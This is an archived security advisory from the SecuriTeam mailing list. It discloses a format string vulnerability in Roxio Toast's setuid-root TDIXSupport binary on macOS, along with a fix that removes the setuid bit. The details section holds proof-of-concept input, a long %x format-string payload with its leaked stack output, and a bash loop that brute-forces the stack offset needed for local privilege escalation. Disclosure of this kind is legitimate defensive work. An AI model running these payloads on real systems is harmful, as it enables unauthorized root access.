The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Roxio Toast Format String Vulnerability
------------------------------------------------------------------------
SUMMARY
There is a format string bug in the binary (/Library/Application
Support/Roxio/TDIXSupport). The Roxio Toast is installed setuid root by
default and may be exploited to gain elevated privileges by finding the
offset and overwriting the stack with malicious instructions.
DETAILS
Example:
fintler@haven:/Library/Application Support/Roxio$ ls -l TDIXSupport
-rwsr-sr-x 1 root wheel 14260 5 Nov 2003 TDIXSupport
fintler@haven:/Library/Application Support/Roxio$ ./TDIXSupport
"AAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
kextload: /Library/Application
Support/Roxio/AAAAAAAAAAAAAAA905d2ce23a206e6f20737563682062756e646c652
066696c652065789058a58c61e0403b4300090000ef0bfffee90bffff44064b26064b26
064b2d061e2503032b09058a52cbfffef10440222229058a5f01100061e250fefefeff11
73004a0ffffffff61e0409058e868bfffef10440282449058ea9c90197d3801696246a064
b2d02314664b06061e040a00011ac3a000003032b09057df58bfffef303007a010300
9f0bffff44064b2603032b03009f0030118090597b38bfffef802402824290597bc0905
8f61cbfffef80304b903032b09058f61cbfffef80090580a2416904017a01900e064b2d0
40300e60300e60016964b26000304b903032b09058f61cbffff000240222249058f74
c0030083000bffff00048022422901b7ab4304b908ffffffff300e60624270a0193140a0
1900e062427090197d38bffff0502802244803009f00300800300810101300830303
2b0bffff48024022224474c00301520bffff2e00300d903817a01900e011805300a019
2e946242702f4c6962726172792f4170706c69636174696f6e20537570706f72742f
526f78696f2f4141414141:
no such bundle file exists can't add kernel extension /Library/Application
Support/Roxio/AAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
(file access/permissions) (run kextload on this kext with -t for
diagnostic output)
fintler@haven:/Library/Application Support/Roxio$
for((i=1;i<1000;i++));do echo -n "$i "&&./TDIXSupport
"AAAAAAAAAAAAAAAAAAAAAAA%$i\$x";done|grep 4141 2>/dev/null
Workaround:
You can remove the setuid permissions set to this file by issuing the
following command:
'sudo chmod 0755 /Library/Application Support/Roxio/TDIXSupport'
(This will most likely disable some functionality of Toast.)
ADDITIONAL INFORMATION
The information has been provided by <mailto:fintler@gmail.com> fintler.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
